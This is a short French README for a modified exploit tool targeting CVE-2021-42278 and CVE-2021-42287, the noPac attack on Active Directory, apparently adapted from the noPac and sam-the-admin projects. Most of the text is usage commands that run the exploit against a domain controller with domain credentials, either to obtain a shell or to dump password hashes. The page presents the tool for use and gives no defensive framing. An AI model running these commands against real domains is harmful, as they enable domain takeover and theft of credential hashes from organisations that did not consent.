
Exploitation de CVE-2021-42278 et CVE-2021-42287
Exploitation de CVE-2021-42278 et CVE-2021-42287
Le projet noPac d'origine présentant peut-être quelques problèmes d'implémentation, il n'a pas fonctionné en local. J'ai donc effectué des modifications en m'appuyant sur le projet sam-the-admin.
pip3 install -r requirements.txt
# GetShell
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell
# DumpHash
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -dump
https://github.com/cube0x0/noPac
https://github.com/WazeHell/sam-the-admin